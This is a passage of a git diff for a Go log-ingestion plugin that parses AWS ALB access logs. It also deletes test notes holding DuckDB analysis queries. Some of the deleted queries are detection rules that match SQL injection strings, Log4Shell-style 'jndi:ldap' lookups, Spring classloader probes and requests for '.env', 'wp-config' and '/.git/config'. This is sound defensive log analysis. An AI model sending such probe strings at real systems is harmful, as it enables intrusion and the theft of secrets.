l.ReceivedBytes = &bytes + case "sent_bytes": + bytes, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing sent_bytes: %w", err) + } + l.SentBytes = &bytes + case "request": + l.Request = strings.Trim(value, "\"") + case "user_agent": + l.UserAgent = strings.Trim(value, "\"") + case "ssl_cipher": + l.SslCipher = value + case "ssl_protocol": + l.SslProtocol = value + case "target_group_arn": + l.TargetGroupArn = value + case "trace_id": + l.TraceId = strings.Trim(value, "\"") + case "domain_name": + l.DomainName = strings.Trim(value, "\"") + case "chosen_cert_arn": + l.ChosenCertArn = strings.Trim(value, "\"") + case "matched_rule_priority": + priority, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing matched_rule_priority: %w", err) + } + l.MatchedRulePriority = priority + case "request_creation_time": + rct, err := time.Parse(time.RFC3339Nano, value) + if err != nil { + return fmt.Errorf("error parsing request_creation_time: %w", err) + } + l.RequestCreationTime = rct + case "actions_executed": + l.ActionsExecuted = strings.Trim(value, "\"") + case "redirect_url": + if value != "-" { + v := strings.Trim(value, "\"") + l.RedirectUrl = &v + } + case "error_reason": + if value != "-" { + v := strings.Trim(value, "\"") + l.ErrorReason = &v + } + case "target_list": + if value != "-" { + v := strings.Trim(value, "\"") + l.TargetList = &v + } + case "target_status_list": + if value != "-" { + v := strings.Trim(value, "\"") + l.TargetStatusList = &v + } + case "classification": + if value != "-" { + v := strings.Trim(value, "\"") + l.Classification = &v + } + case "classification_reason": + if value != "-" { + v := strings.Trim(value, "\"") + l.ClassificationReason = &v } } + return nil +} + +// InitialiseFromMap initializes the struct from a map of string values +func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { + for fieldName, value := range m { + if err := l.parseField(fieldName, value); err != nil { + return fmt.Errorf("error parsing field %s: %w", fieldName, err) + } + } + return nil +} + +// EnrichRow handles all enrichment operations for the ALB access log entry +func (l *AlbAccessLog) EnrichRow(sourceEnrichmentFields *enrichment.CommonFields) error { + // Add source enrichment fields if provided + if sourceEnrichmentFields != nil { + l.CommonFields = *sourceEnrichmentFields + } + + // Standard record enrichment + l.TpID = xid.New().String() + l.TpSourceType = "aws_alb_access_log" + l.TpTimestamp = helpers.UnixMillis(l.Timestamp.UnixNano() / int64(time.Millisecond)) + l.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + l.TpDate = l.Timestamp.Format("2006-01-02") + + // IP-related enrichment + if l.ClientIP != "" { + l.TpSourceIP = &l.ClientIP + l.TpIps = append(l.TpIps, l.ClientIP) + } + if l.TargetIP != nil { + l.TpDestinationIP = l.TargetIP + l.TpIps = append(l.TpIps, *l.TargetIP) + } + + // Domain enrichment + if l.DomainName != "" { + l.TpDomains = append(l.TpDomains, l.DomainName) + } + + // AWS resource linking + if l.TargetGroupArn != "" { + l.TpAkas = append(l.TpAkas, l.TargetGroupArn) + } + + // Use ALB name as the index + l.TpPartition = "aws_alb_access_log" + l.TpIndex = l.AlbName + return nil } \ No newline at end of file diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index d1ae12e7..74538f66 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -1,233 +1,237 @@ package tables +// Package tables implements the AWS ALB (Application Load Balancer) access log table. +// This implementation handles parsing and structuring ALB access logs into queryable data. + import ( - "context" - "fmt" - "time" - "strings" - "strconv" - - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/table" - "github.com/turbot/tailpipe-plugin-sdk/types" + "context" + "fmt" + "strconv" + "strings" + "time" + + "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/parse" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" ) -// AlbLogMapper handles the mapping of ALB log lines to structured data +// AlbLogMapper handles the mapping of ALB log lines to structured data. +// While simpler log formats can use the SDK's DelimitedLineMapper, ALB logs require +// custom parsing due to their complex format which includes: +// - Quoted strings containing spaces (e.g., user agents, HTTP requests) +// - Optional fields marked with "-" +// - Compound fields (IP:port combinations) +// - Mixed data types requiring careful parsing and validation type AlbLogMapper struct{} func (m *AlbLogMapper) Map(_ context.Context, data any) ([]*rows.AlbAccessLog, error) { - // Handle string input directly - lineStr, ok := data.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", data) - } - - // Create a new ALB log entry - logEntry := rows.NewAlbAccessLog() - - // Split the line and parse fields - // Using strings.Split to handle spaces between quoted strings - var fields []string - var currentField strings.Builder - inQuotes := false - - for _, char := range lineStr { - switch char { - case '"': - inQuotes = !inQuotes - case ' ': - if !inQuotes { - if currentField.Len() > 0 { - fields = append(fields, currentField.String()) - currentField.Reset() - } - } else { - currentField.WriteRune(char) - } - default: - currentField.WriteRune(char) - } - } - - // Add the last field - if currentField.Len() > 0 { - fields = append(fields, currentField.String()) - } - - if len(fields) < 27 { // Minimum required fields - return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) - } - - // Map fields to struct - logEntry.Type = fields[0] - - // Parse timestamp - timestamp, err := time.Parse(time.RFC3339Nano, fields[1]) - if err != nil { - return nil, fmt.Errorf("error parsing timestamp: %w", err) - } - logEntry.Timestamp = timestamp - - // ALB name - logEntry.AlbName = fields[2] - - // Parse client address - clientParts := strings.Split(fields[3], ":") - if len(clientParts) == 2 { - logEntry.ClientIP = clientParts[0] - port, err := strconv.Atoi(clientParts[1]) - if err == nil { - logEntry.ClientPort = port - } - } - - // Parse target address - if fields[4] != "-" { - targetParts := strings.Split(fields[4], ":") - if len(targetParts) == 2 { - logEntry.TargetIP = &targetParts[0] - port, err := strconv.Atoi(targetParts[1]) - if err == nil { - logEntry.TargetPort = port - } - } - } - - // Parse processing times - if rpt, err := strconv.ParseFloat(fields[5], 64); err == nil { - logEntry.RequestProcessingTime = rpt - } - if tpt, err := strconv.ParseFloat(fields[6], 64); err == nil { - logEntry.TargetProcessingTime = tpt - } - if rpt, err := strconv.ParseFloat(fields[7], 64); err == nil { - logEntry.ResponseProcessingTime = rpt - } - - // Status codes - if statusCode, err := strconv.Atoi(fields[8]); err == nil { - logEntry.AlbStatusCode = &statusCode - } - if statusCode, err := strconv.Atoi(fields[9]); err == nil { - logEntry.TargetStatusCode = &statusCode - } - - // Bytes - if received, err := strconv.ParseInt(fields[10], 10, 64); err == nil { - logEntry.ReceivedBytes = &received - } - if sent, err := strconv.ParseInt(fields[11], 10, 64); err == nil { - logEntry.SentBytes = &sent - } - - // Remove quotes from quoted fields - logEntry.Request = strings.Trim(fields[12], "\"") - logEntry.UserAgent = strings.Trim(fields[13], "\"") - logEntry.SslCipher = fields[14] - logEntry.SslProtocol = fields[15] - logEntry.TargetGroupArn = fields[16] - logEntry.TraceId = strings.Trim(fields[17], "\"") - logEntry.DomainName = strings.Trim(fields[18], "\"") - logEntry.ChosenCertArn = strings.Trim(fields[19], "\"") - - // Parse matched rule priority - if priority, err := strconv.Atoi(fields[20]); err == nil { - logEntry.MatchedRulePriority = priority - } - - // Parse request creation time - reqCreationTime, err := time.Parse(time.RFC3339Nano, fields[21]) - if err == nil { - logEntry.RequestCreationTime = reqCreationTime - } - - // Handle remaining fields - logEntry.ActionsExecuted = strings.Trim(fields[22], "\"") - redirectURL := strings.Trim(fields[23], "\"") - if redirectURL != "-" { - logEntry.RedirectUrl = &redirectURL - } - errorReason := strings.Trim(fields[24], "\"") - if errorReason != "-" { - logEntry.ErrorReason = &errorReason - } - targetList := strings.Trim(fields[25], "\"") - if targetList != "-" { - logEntry.TargetList = &targetList - } - targetStatusList := strings.Trim(fields[26], "\"") - if targetStatusList != "-" { - logEntry.TargetStatusList = &targetStatusList - } - - return []*rows.AlbAccessLog{logEntry}, nil + // Map implements the Mapper interface, converting raw ALB log lines into structured data. + // The mapping process: + // 1. Validates the input is a string + // 2. Parses the log line while respecting quoted fields + // 3. Extracts and converts fields to their appropriate types + // 4. Handles optional fields and special formats (IP:port, timestamps) + // + // Log Format: + // type timestamp alb client:port target:port request_processing_time [...] classification_reason + // Example: + // http 2024-01-01T00:00:00.000Z my-alb 192.168.1.1:12345 10.0.1.2:80 0.001 [...] + + lineStr, ok := data.(string) + if !ok { + return nil, fmt.Errorf("expected string, got %T", data) + } + + // Create a new ALB log entry + logEntry := rows.NewAlbAccessLog() + + // Split the line and parse fields + // Using strings.Split to handle spaces between quoted strings + var fields []string + var currentField strings.Builder + inQuotes := false + + for _, char := range lineStr { + switch char { + case '"': + inQuotes = !inQuotes + case ' ': + if !inQuotes { + if currentField.Len() > 0 { + fields = append(fields, currentField.String()) + currentField.Reset() + } + } else { + currentField.WriteRune(char) + } + default: + currentField.WriteRune(char) + } + } + + // Add the last field + if currentField.Len() > 0 { + fields = append(fields, currentField.String()) + } + + if len(fields) < 27 { // Minimum required fields + return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) + } + + // Map fields to struct + logEntry.Type = fields[0] + + // Parse timestamp + timestamp, err := time.Parse(time.RFC3339Nano, fields[1]) + if err != nil { + return nil, fmt.Errorf("error parsing timestamp: %w", err) + } + logEntry.Timestamp = timestamp + + // ALB name + logEntry.AlbName = fields[2] + + // Parse client address + clientParts := strings.Split(fields[3], ":") + if len(clientParts) == 2 { + logEntry.ClientIP = clientParts[0] + port, err := strconv.Atoi(clientParts[1]) + if err == nil { + logEntry.ClientPort = port + } + } + + // Parse target address + if fields[4] != "-" { + targetParts := strings.Split(fields[4], ":") + if len(targetParts) == 2 { + logEntry.TargetIP = &targetParts[0] + port, err := strconv.Atoi(targetParts[1]) + if err == nil { + logEntry.TargetPort = port + } + } + } + + // Parse processing times + if rpt, err := strconv.ParseFloat(fields[5], 64); err == nil { + logEntry.RequestProcessingTime = rpt + } + if tpt, err := strconv.ParseFloat(fields[6], 64); err == nil { + logEntry.TargetProcessingTime = tpt + } + if rpt, err := strconv.ParseFloat(fields[7], 64); err == nil { + logEntry.ResponseProcessingTime = rpt + } + + // Status codes + if statusCode, err := strconv.Atoi(fields[8]); err == nil { + logEntry.AlbStatusCode = &statusCode + } + if statusCode, err := strconv.Atoi(fields[9]); err == nil { + logEntry.TargetStatusCode = &statusCode + } + + // Bytes + if received, err := strconv.ParseInt(fields[10], 10, 64); err == nil { + logEntry.ReceivedBytes = &received + } + if sent, err := strconv.ParseInt(fields[11], 10, 64); err == nil { + logEntry.SentBytes = &sent + } + + // Remove quotes from quoted fields + logEntry.Request = strings.Trim(fields[12], "\"") + logEntry.UserAgent = strings.Trim(fields[13], "\"") + logEntry.SslCipher = fields[14] + logEntry.SslProtocol = fields[15] + logEntry.TargetGroupArn = fields[16] + logEntry.TraceId = strings.Trim(fields[17], "\"") + logEntry.DomainName = strings.Trim(fields[18], "\"") + logEntry.ChosenCertArn = strings.Trim(fields[19], "\"") + + // Parse matched rule priority + if priority, err := strconv.Atoi(fields[20]); err == nil { + logEntry.MatchedRulePriority = priority + } + + // Parse request creation time + reqCreationTime, err := time.Parse(time.RFC3339Nano, fields[21]) + if err == nil { + logEntry.RequestCreationTime = reqCreationTime + } + + // Handle remaining fields + logEntry.ActionsExecuted = strings.Trim(fields[22], "\"") + redirectURL := strings.Trim(fields[23], "\"") + if redirectURL != "-" { + logEntry.RedirectUrl = &redirectURL + } + errorReason := strings.Trim(fields[24], "\"") + if errorReason != "-" { + logEntry.ErrorReason = &errorReason + } + targetList := strings.Trim(fields[25], "\"") + if targetList != "-" { + logEntry.TargetList = &targetList + } + targetStatusList := strings.Trim(fields[26], "\"") + if targetStatusList != "-" { + logEntry.TargetStatusList = &targetStatusList + } + + return []*rows.AlbAccessLog{logEntry}, nil } func (m *AlbLogMapper) Identifier() string { - return "alb_log_mapper" + return "alb_log_mapper" } type AlbAccessLogTable struct { - table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] } func NewAlbAccessLogTable() table.Table { - return &AlbAccessLogTable{} + return &AlbAccessLogTable{} } func (t *AlbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { - if err := t.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { - return err - } + if err := t.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } - // Set the mapper - t.Mapper = &AlbLogMapper{} - return nil + // Set the mapper + t.Mapper = &AlbLogMapper{} + return nil } func (t *AlbAccessLogTable) Identifier() string { - return "aws_alb_access_log" + return "aws_alb_access_log" } func (t *AlbAccessLogTable) GetRowSchema() any { - return &rows.AlbAccessLog{} + return &rows.AlbAccessLog{} } func (t *AlbAccessLogTable) GetConfigSchema() parse.Config { - return &AlbAccessLogTableConfig{} + return &AlbAccessLogTableConfig{} } func (t *AlbAccessLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - return []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - } + return []row_source.RowSourceOption{ + artifact_source.WithRowPerLine(), + } } func (t *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields + if err := row.EnrichRow(sourceEnrichmentFields); err != nil { + return nil, err } - - // Record standardization - row.TpID = xid.New().String() - row.TpSourceType = "aws_alb_access_log" - row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - - // Set partition - row.TpPartition = t.Identifier() - - // Use ALB name as the index - row.TpIndex = row.AlbName - - // Set date in yyyy-mm-dd format - row.TpDate = row.Timestamp.Format("2006-01-02") - return row, nil -} \ No newline at end of file +} + diff --git a/test/alb-vs-elb.md b/test/alb-vs-elb.md deleted file mode 100644 index d9a5bc3d..00000000 --- a/test/alb-vs-elb.md +++ /dev/null @@ -1,174 +0,0 @@ -# ALB vs ELB Log Table Implementation Comparison - -## Structural Differences - -### Table Implementation - -```go -// ALB Implementation -type AlbAccessLogTable struct { - table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] -} - -// ELB Implementation -type ElbAccessLogTable struct { - table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] -} -``` - -### Configuration - -```go -// ALB Configuration is more extensive -type AlbAccessLogTableConfig struct { - Remain hcl.Body `hcl:",remain" json:"-"` - LogFormat *string `json:"log_format,omitempty" hcl:"log_format,optional"` - FilePattern *string `json:"file_pattern,omitempty" hcl:"file_pattern,optional"` - Timezone *string `json:"timezone,omitempty" hcl:"timezone,optional"` -} - -// ELB Configuration is minimal -type ElbAccessLogTableConfig struct { -} -``` - -## Data Processing Differences - -### Parsing Approach - -#### ALB -- Uses custom mapper with detailed string parsing -- Handles quoted strings explicitly -- More flexible parsing logic for complex fields - -```go -func (m *AlbLogMapper) Map(_ context.Context, data any) ([]*rows.AlbAccessLog, error) { - // Custom string parsing with quote handling - var fields []string - var currentField strings.Builder - inQuotes := false - - for _, char := range lineStr { - switch char { - case '"': - inQuotes = !inQuotes - case ' ': - if !inQuotes { - if currentField.Len() > 0 { - fields = append(fields, currentField.String()) - currentField.Reset() - } - } else { - currentField.WriteRune(char) - } - default: - currentField.WriteRune(char) - } - } - // ... field processing -} -``` - -#### ELB -- Uses generic delimited line mapper -- Relies on predefined format string -- Simpler but less flexible parsing - -```go -const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time...` - -func (c *ElbAccessLogTable) initMapper() { - c.Mapper = table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) -} -``` - -## Field Handling Differences - -### ALB-Specific Fields -```go -type AlbAccessLog struct { - // ALB-specific fields - AlbName string `json:"alb_name"` - MatchedRulePriority int `json:"matched_rule_priority"` - RequestCreationTime time.Time `json:"request_creation_time"` - Classification *string `json:"classification,omitempty"` - ClassificationReason *string `json:"classification_reason,omitempty"` -} -``` - -### ELB-Specific Fields -```go -type ElbAccessLog struct { - // ELB-specific fields - Elb string `json:"elb"` - ConnTraceID string `json:"conn_trace_id"` -} -``` - -## Error Handling - -### ALB -- More detailed error handling with specific error messages -- Validation for complex field combinations -```go -if len(fields) < 27 { // Minimum required fields - return nil, fmt.Errorf("invalid number of fields in log entry: got %d, want at least 27", len(fields)) -} -``` - -### ELB -- Simpler error handling relying on delimiter mapper -- Less validation of field relationships - -## Enrichment Implementation - -### ALB -```go -func (t *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { - // ALB-specific enrichment - if t.Connection != nil && t.Connection.DefaultRegion != nil { - row.TpIndex = *t.Connection.DefaultRegion - } else { - row.TpIndex = "unknown" - } - // ... other enrichment -} -``` - -### ELB -```go -func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { - // ELB-specific enrichment - row.TpPartition = c.Identifier() - if row.TpIndex == "" { - row.TpIndex = c.Identifier() - } - // ... other enrichment -} -``` - -## Key Differences Summary - -1. **Configuration Flexibility** - - ALB: More configurable with options for log format, file patterns, and timezone - - ELB: Minimal configuration, relies on fixed formats - -2. **Parsing Strategy** - - ALB: Custom parser with quote handling and flexible field extraction - - ELB: Uses generic delimiter-based parsing - -3. **Field Support** - - ALB: Supports newer fields like rule priority and classification - - ELB: Focuses on classic ELB fields - -4. **Error Handling** - - ALB: More comprehensive error checking and validation - - ELB: Basic error handling through delimiter mapper - -5. **Enrichment** - - ALB: Region-aware enrichment - - ELB: Basic identifier-based enrichment - -6. **Performance Implications** - - ALB: More CPU-intensive due to custom parsing - - ELB: Potentially faster due to simpler delimiter-based parsing \ No newline at end of file diff --git a/test/alb_queries.md b/test/alb_queries.md deleted file mode 100644 index 05e3f39b..00000000 --- a/test/alb_queries.md +++ /dev/null @@ -1,183 +0,0 @@ -# ALB Log Analysis Queries and Results - -## Client Type Distribution -Analyzes the distribution of different client types accessing the application. - -```sql -SELECT - CASE - WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' - WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' - WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' - WHEN user_agent LIKE '%Safari%' THEN 'Safari' - WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' - ELSE 'Other' - END as client_type, - COUNT(*) as request_count -FROM aws_alb_access_log -GROUP BY client_type -ORDER BY request_count DESC; -``` - -Results show most traffic comes from "Other" clients (6,337 requests), followed by Mobile (1,842) and Chrome (1,821). - -## SSL/TLS Configuration Analysis -Examines the distribution of SSL protocols and cipher suites. - -```sql -SELECT - ssl_protocol, - ssl_cipher, - COUNT(*) as count, - ROUND(COUNT(*) * 100.0 / SUM(COUNT(*)) OVER (), 2) as percentage -FROM aws_alb_access_log -WHERE ssl_protocol != '-' -GROUP BY ssl_protocol, ssl_cipher -ORDER BY count DESC; -``` - -Key findings: -- TLSv1.2 and TLSv1.3 are evenly distributed -- Most common cipher is TLS_AES_128_GCM_SHA256 (17.21%) -- All modern cipher suites used - -## Traffic Distribution by Hour -Shows the distribution of requests across different hours of the day. - -```sql -SELECT - EXTRACT(hour FROM timestamp) as hour_of_day, - COUNT(*) as request_count -FROM aws_alb_access_log -GROUP BY hour_of_day -ORDER BY request_count DESC; -``` - -Traffic is relatively evenly distributed between hours 0-14, with a drop-off at hour 15. - -## Error Rate Analysis -Examines error rates by hour. - -```sql -SELECT - DATE_TRUNC('hour', timestamp) as hour, - COUNT(*) as total_requests, - SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) as error_count, - ROUND(SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) * 100.0 / COUNT(*), 2) as error_rate -FROM aws_alb_access_log -GROUP BY hour -ORDER BY hour; -``` - -Error rates consistently range between 19-23% across all hours. - -## ALB Performance Analysis -Analyzes performance metrics across different ALBs. - -```sql -SELECT - tp_index as alb_name, - COUNT(*) as request_count, - COUNT(DISTINCT client_ip) as unique_clients, - ROUND(AVG(request_processing_time + target_processing_time + response_processing_time), 3) as avg_total_time -FROM aws_alb_access_log -GROUP BY tp_index -ORDER BY request_count DESC; -``` - -Findings: -- prod-web-alb handles most traffic (3,383 requests) -- staging-alb has higher average processing time (0.523s) -- prod environments maintain better performance (~0.35s) - -## Security Analysis - -### SQL Injection Attempts -```sql -WITH filtered_requests AS ( - SELECT - client_ip, - user_agent, - request as sample_request, - timestamp, - ROW_NUMBER() OVER (PARTITION BY client_ip, user_agent ORDER BY timestamp) AS row_num - FROM aws_alb_access_log - WHERE - request LIKE '%UNION SELECT%' OR - request LIKE '%OR 1=1%' OR - request LIKE '%--\\%' OR - request LIKE '%'' OR ''%' -) -SELECT - client_ip, - user_agent, - COUNT(*) AS attempt_count, - STRING_AGG(sample_request, ' | ') AS sample_requests, - MIN(timestamp) AS first_seen, - MAX(timestamp) AS last_seen -FROM filtered_requests -WHERE row_num <= 3 -GROUP BY client_ip, user_agent -HAVING COUNT(*) > 1 -ORDER BY attempt_count DESC -LIMIT 10; -``` - -Detected multiple SQL injection attempts from IPs in ranges: -- 185.181.x.x -- 193.27.228.x -- 45.155.205.x - -### Cross-ALB Attack Patterns -```sql -WITH suspicious_paths AS ( - SELECT - client_ip, - user_agent, - alb_name, - request as sample_request, - timestamp, - ROW_NUMBER() OVER (PARTITION BY client_ip, alb_name ORDER BY timestamp) AS row_num - FROM aws_alb_access_log - WHERE - request LIKE '%actuator%' OR - request LIKE '%metrics%' OR - request LIKE '%phpinfo%' OR - request LIKE '%server-status%' OR - request LIKE '%jndi:ldap%' OR - request LIKE '%class.module.classLoader%' OR - request LIKE '%.env%' OR - request LIKE '%wp-config%' OR - request LIKE '%/debug%' - ) - SELECT - client_ip, - user_agent, - COUNT(DISTINCT alb_name) as albs_targeted, - COUNT(*) as total_probes, - STRING_AGG(DISTINCT alb_name, ', ') as targeted_albs, - STRING_AGG(sample_request, ' | ') as sample_requests, - MIN(timestamp) as first_seen, - MAX(timestamp) as last_seen, - EXTRACT(MINUTES FROM MAX(timestamp) - MIN(timestamp)) as campaign_duration_mins - FROM suspicious_paths - WHERE row_num <= 3 - GROUP BY client_ip, user_agent - HAVING - COUNT(DISTINCT alb_name) > 1 AND -- Targeting multiple ALBs - COUNT(*) >= 3 -- At least 3 probe attempts - ORDER BY albs_targeted DESC, total_probes DESC - LIMIT 10; -``` - -Key findings: -- Multiple IPs targeting all three ALBs -- Campaign durations ranging from 13 to 54 minutes -- Common attack tools identified: subfinder, WhatWeb, dirbuster, Nmap -- Systematic probing of infrastructure suggesting coordinated attacks - -### Notable Attack Patterns -- Sustained campaigns lasting 30+ minutes -- Multiple tools used per attacker -- Systematic targeting of all ALB environments -- Focus on common vulnerabilities (actuator, debug endpoints, config files) \ No newline at end of file diff --git a/test/alb_queries.txt b/test/alb_queries.txt deleted file mode 100644 index 47607b58..00000000 --- a/test/alb_queries.txt +++ /dev/null @@ -1,346 +0,0 @@ -SELECT - CASE - WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' - WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' - WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' - WHEN user_agent LIKE '%Safari%' THEN 'Safari' - WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' - ELSE 'Other' - END as client_type, - COUNT(*) as request_count - FROM aws_alb_access_log - GROUP BY client_type - ORDER BY request_count DESC; -┌─────────────┬───────────────┐ -│ client_type │ request_count │ -│ varchar │ int64 │ -├─────────────┼───────────────┤ -│ Other │ 6337 │ -│ Mobile │ 1842 │ -│ Chrome │ 1821 │ -└─────────────┴───────────────┘ - - -D SELECT - ssl_protocol, - ssl_cipher, - COUNT(*) as count, - ROUND(COUNT(*) * 100.0 / SUM(COUNT(*)) OVER (), 2) as percentage - FROM aws_alb_access_log - WHERE ssl_protocol != '-' - GROUP BY ssl_protocol, ssl_cipher - ORDER BY count DESC; -┌──────────────┬─────────────────────────────┬───────┬────────────┐ -│ ssl_protocol │ ssl_cipher │ count │ percentage │ -│ varchar │ varchar │ int64 │ double │ -├──────────────┼─────────────────────────────┼───────┼────────────┤ -│ TLSv1.2 │ TLS_AES_128_GCM_SHA256 │ 1721 │ 17.21 │ -│ TLSv1.2 │ ECDHE-RSA-AES128-GCM-SHA256 │ 1686 │ 16.86 │ -│ TLSv1.3 │ TLS_AES_128_GCM_SHA256 │ 1682 │ 16.82 │ -│ TLSv1.3 │ ECDHE-RSA-AES256-GCM-SHA384 │ 1655 │ 16.55 │ -│ TLSv1.3 │ ECDHE-RSA-AES128-GCM-SHA256 │ 1635 │ 16.35 │ -│ TLSv1.2 │ ECDHE-RSA-AES256-GCM-SHA384 │ 1621 │ 16.21 │ -└──────────────┴─────────────────────────────┴───────┴────────────┘ - -D SELECT - EXTRACT(hour FROM timestamp) as hour_of_day, - COUNT(*) as request_count - FROM aws_alb_access_log - GROUP BY hour_of_day - ORDER BY request_count DESC; -┌─────────────┬───────────────┐ -│ hour_of_day │ request_count │ -│ int64 │ int64 │ -├─────────────┼───────────────┤ -│ 6 │ 681 │ -│ 4 │ 671 │ -│ 13 │ 665 │ -│ 10 │ 661 │ -│ 0 │ 660 │ -│ 12 │ 658 │ -│ 2 │ 655 │ -│ 5 │ 653 │ -│ 7 │ 653 │ -│ 8 │ 652 │ -│ 3 │ 646 │ -│ 9 │ 646 │ -│ 14 │ 646 │ -│ 1 │ 645 │ -│ 11 │ 640 │ -│ 15 │ 168 │ -├─────────────┴───────────────┤ -│ 16 rows 2 columns │ -└─────────────────────────────┘ - - SELECT - DATE_TRUNC('hour', timestamp) as hour, - COUNT(*) as total_requests, - SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) as error_count, - ROUND(SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) * 100.0 / COUNT(*), 2) as error_rate - FROM aws_alb_access_log - GROUP BY hour - ORDER BY hour; -┌─────────────────────┬────────────────┬─────────────┬────────────┐ -│ hour │ total_requests │ error_count │ error_rate │ -│ timestamp │ int64 │ int128 │ double │ -├─────────────────────┼────────────────┼─────────────┼────────────┤ -│ 2024-11-01 00:00:00 │ 660 │ 143 │ 21.67 │ -│ 2024-11-01 01:00:00 │ 645 │ 127 │ 19.69 │ -│ 2024-11-01 02:00:00 │ 655 │ 126 │ 19.24 │ -│ 2024-11-01 03:00:00 │ 646 │ 146 │ 22.6 │ -│ 2024-11-01 04:00:00 │ 671 │ 142 │ 21.16 │ -│ 2024-11-01 05:00:00 │ 653 │ 126 │ 19.3 │ -│ 2024-11-01 06:00:00 │ 681 │ 154 │ 22.61 │ -│ 2024-11-01 07:00:00 │ 653 │ 133 │ 20.37 │ -│ 2024-11-01 08:00:00 │ 652 │ 140 │ 21.47 │ -│ 2024-11-01 09:00:00 │ 646 │ 134 │ 20.74 │ -│ 2024-11-01 10:00:00 │ 661 │ 137 │ 20.73 │ -│ 2024-11-01 11:00:00 │ 640 │ 148 │ 23.13 │ -│ 2024-11-01 12:00:00 │ 658 │ 133 │ 20.21 │ -│ 2024-11-01 13:00:00 │ 665 │ 156 │ 23.46 │ -│ 2024-11-01 14:00:00 │ 646 │ 142 │ 21.98 │ -│ 2024-11-01 15:00:00 │ 168 │ 38 │ 22.62 │ -├─────────────────────┴────────────────┴─────────────┴────────────┤ -│ 16 rows 4 columns │ - -D SELECT - client_ip, - COUNT(*) as error_count, - STRING_AGG(request, ', ') as sample_requests - FROM ( - SELECT DISTINCT client_ip, request - FROM aws_alb_access_log - WHERE alb_status_code >= 400 - ORDER BY client_ip, request - LIMIT 3 - ) AS limited_requests - GROUP BY client_ip - ORDER BY error_count DESC - LIMIT 10; -┌───────────────┬─────────────┬────────────────────────────────┐ -│ client_ip │ error_count │ sample_requests │ -│ varchar │ int64 │ varchar │ -├───────────────┼─────────────┼────────────────────────────────┤ -│ 0.11.129.163 │ 1 │ POST /.git/config HTTP/1.1 │ -│ 0.152.188.231 │ 1 │ DELETE /admin/console HTTP/1.1 │ -│ 0.23.226.38 │ 1 │ GET /assets/main.css HTTP/1.1 │ -└───────────────┴─────────────┴────────────────────────────────┘ - - -SELECT - tp_index as alb_name, - COUNT(*) as request_count, - COUNT(DISTINCT client_ip) as unique_clients, - ROUND(AVG(request_processing_time + target_processing_time + response_processing_time), 3) as avg_total_time - FROM - aws_alb_access_log - GROUP BY - tp_index - ORDER BY - request_count DESC; -┌──────────────┬───────────────┬────────────────┬────────────────┐ -│ alb_name │ request_count │ unique_clients │ avg_total_time │ -│ varchar │ int64 │ int64 │ double │ -├──────────────┼───────────────┼────────────────┼────────────────┤ -│ prod-web-alb │ 3383 │ 3383 │ 0.355 │ -│ staging-alb │ 3358 │ 3358 │ 0.523 │ -│ prod-api-alb │ 3259 │ 3259 │ 0.35 │ -└──────────────┴───────────────┴────────────────┴────────────────┘ - -SELECT - 